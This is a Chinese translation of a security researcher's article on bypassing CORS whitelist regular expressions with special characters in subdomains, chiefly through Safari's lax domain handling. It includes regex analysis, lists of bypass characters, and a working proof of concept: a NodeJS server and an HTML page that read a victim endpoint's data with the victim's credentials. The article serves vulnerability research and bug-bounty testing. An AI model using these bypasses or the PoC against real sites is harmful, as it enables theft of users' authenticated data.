导语:去年11月,我撰写了一篇关于Yahoo View的跨源资源共享绕过方面的文章,实际上,那篇文章中的技术利用了Safari对特殊字符的处理机制。之后,我又发现了另外一些检测绕过方法,所以,本文就是专门介绍这些更加高级技术的。

前言

在利用Safari的特殊字符处理机制方面,本人拜读过Linus SärudBo0oM撰写的两篇优秀文章:

· https://labs.detectify.com/2018/04/04/host-headers-safari/

· https://lab.wallarm.com/the-good-the-bad-and-the-ugly-of-safari-in-client-side-attacks-56d0cb61275a

这两篇文章深入探讨了利用Safari的行为进行XSS攻击或执行Cookie注入的实际情形,而本文的目标则是为大家带来更多的创意和选择!

简介

去年11月,我撰写了一篇关于Yahoo View的跨源资源共享绕过方面的文章,实际上,那篇文章中的技术利用了Safari对特殊字符的处理机制。之后,我又发现了另外一些检测绕过方法,所以,本文就是专门介绍这些更加高级技术的。

注意:

本文假设读者已经基本了解了CORS是什么,以及如何利用相关的错误配置。否则的话,请首先学习下面两篇文章:

· Portswigger的文章

· Geekboy的文章

背景知识:DNS&浏览器

快速回顾:

从本质上说,所谓域名系统实际上就是服务器的地址簿,其作用就是将主机名转换/映射为IP地址,从而提高互联网的易用性。

当您尝试访问浏览器中的URL时:

首先会执行DNS查询,以便将主机转换为IP地址;该查询操作会启动一个指向DNS服务器的TCP连接;然后,该服务器会用SYN+ACK应答进行响应;然后,浏览器向该服务器发送HTTP请求以检索相应内容;最后,浏览器会呈现/显示相应页面的内容。 

如果读者习惯提供视觉方式进行思考的话,可以参考这里提供的图片,该图片形象地展示了域名解析过程。

实际上,DNS服务器能够响应任何请求——您可以发送子域中的任何字符,只要该域具有相应的泛解析记录(WildCard DNS Record),服务器就会提供响应。

例如:

dig A "<@$&(#+_\`^%~>.withgoogle.com" @1.1.1.1 | grep -A 1 "ANSWER SECTION"

1.png

浏览器呢?

在上面,我们看到DNS服务器会响应这些请求,但浏览器会如何处理它们呢?答案是:大多数浏览器在发送请求之前都会先验证域名。

例如:

Chrome:

1.png

Firefox:

1.png

Safari:

注意,上面说过大多数浏览器会验证域名,但不是所有浏览器都这样做,比如Safari:如果尝试加载相同的域,Safari实际上会发送请求并加载页面:

1.png

我们可以使用各种不同的字符,包括不可打印的字符:

,&'";!$^*()+=`~-_=|{}%
 
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

深入考察CORS配置

大多数CORS配置中都包含一个由允许从终端读取信息的域名组成的白名单,这通常是通过正则表达式来达成的。

示例  #1:

^https?:\/\/(.*\.)?xxe\.sh$

意图:使用这个正则表达式实现配置的目的,是允许从xxe.sh及其所有子域(http://或https://)进行跨域访问。

攻击者要想从该端点窃取数据,唯一方法是对http(s)://xxe.sh / http(s)://*.xxe.sh发动XSS攻击或接管了所有子域。

示例  #2:

^https?:\/\/.*\.?xxe\.sh$

意图:与示例#1相同,即允许从xxe.sh及其任意子域进行跨域访问

这个正则表达式与第一个示例非常相似,但它存在的安全漏洞会导致该配置易受数据盗用的攻击。

问题出现在下面的正则表达式中:.*\.?

详细解释:

.* = 除行终止符以外的任何字符

\. = 句点符

?  = 匹配次数,就本例来说表示匹配句点“.” 零次或一次。

由于.*\.没有位于捕捉组中,所以表示数量的?只对句点符号有影响,因此,在字符串“xxe.sh”之前可以放入任意字符,无论前面这些字符是否用句点符号进行分隔。

这意味着攻击者可以发送以xxe.sh结尾的任意地址,并且可以跨域访问。

1.png

这是一种非常常见的检测绕过方法——下面给出一个真实的例子:

https://hackerone.com/reports/168574 

示例 #3:

^https?:\/\/(.*\.)?xxe\.sh\:?.*

意图:这可能是为了允许从xxe.sh、所有子域以及这些域上的任何端口进行跨域访问。

你能发现问题吗?

详细解释:

\: = 匹配冒号,即:

?  = 匹配次数,就本例来说表示匹配冒号“:”零次或一次。

.* = 除行终止符以外的任何字符

就像第二个例子一样,表示匹配次数的?只针对冒号。因此,如果我们发送的域名在xxe.sh之后还有其他字符的话,仍然会被接受。

1.png

价值百万美元的问题:

在利用CORS相关的错误配置时,Safari是如何处理特殊字符的?

下面我们以Apache配置为例进行说明:

SetEnvIf Origin "^https?:\/\/(.*\.)?xxe.sh([^\.\-a-zA-Z0-9]+.*)?" AccessControlAllowOrigin=$0
Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin

意图:这可能是为了允许从xxe.sh、所有子域以及这些域上的任何端口进行跨域访问。

下面,我们对表达式进行详细解读。

[^\.\-a-zA-Z0-9] = 不匹配这些字符:"." "-" "a-z" "A-Z" "0-9"

+  = 匹配次数:匹配上面的字符一次或无数次

.* = 除行终止符之外的任意字符

这个API无法访问前面例子中的域,并且其他常见的绕过方法也无济于事。针对*.xxe.sh的子域接管或XSS攻击,只能用来窃取数据,但是,我们可以在此基础上发挥创造性!

我们知道,任何诸如*.xxe.sh后跟字符. – a-z A-Z 0-9的域名都是不会被信任的,但是,在字符串“xxe.sh”之后有空格的域名的情况又如何呢?

1.png

我们看到,它是被信任的,但是,普通浏览器都不支持这样的域。

由于正则表达式匹配字母数字ASCII字符以及. -,所以,“xxe.sh”之后的特殊字符是被信任的:

1.png

然而,有一种现代通用浏览器是支持这种域名的:Safari。

漏洞利用:

先决条件:

· 具有泛解析记录的域指向您的机器。

· NodeJS。

和大多数浏览器一样,Apache和Nginx(即开箱即用)也不喜欢这些特殊字符,所以使用NodeJS为HTML和Javascript提供服务会更容易一些。

[+] serve.js

var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 80
 
http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

在同一个目录中,保存以下内容:

[+] cors.html

<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

启动NodeJS服务器,具体命令如下所示:

node serve.js &

正如之前所述,由于正则表达式与字母数字ASCII字符和. -相匹配,所以,“xxe.sh”之后的特殊字符将获得信任:

因此,如果我们打开Safari并访问http://x.xxe.sh{.<your-domain>/cors-poc,就能够成功地从易受攻击的终端中窃取数据。

1.png

编辑:我注意到,字符_(在子域中)不仅在Safari中受支持,而且Chrome和Firefox也支持该字符!

因此,http://x.xxe.sh_.<your-domain>/cors-poc能从最常见的各种浏览器发送有效域名!在此要感谢Prakash,你太棒了!

实际测试

利用这些特殊字符,找出Access-Control-Allow-Origin头文件中反映了哪些域可能是一项冗长而费时的任务:

1.png

关于TheftFuzzer:

为了节省时间并提高效率,我决定编写一个工具对相应的CORS配置进行模糊测试,以获取允许的域名。这个工具是用Python编写的,它能够为潜在的CORS绕过方法生成不同的组合变换。读者可以从Github上下载该工具,如果您对该工具有任何改进意见,请随时通知我!

小结

我希望通过这篇文章为读者提供一些有用的信息,以便帮他们利用这些CORS配置赢取一些奖金。哈哈,狩猎愉快!

Corben Leo

· https://twitter.com/hacker_

· https://hackerone.com/cdl

· https://bugcrowd.com/c

· https://github.com/sxcurity

源链接

Hacking more

...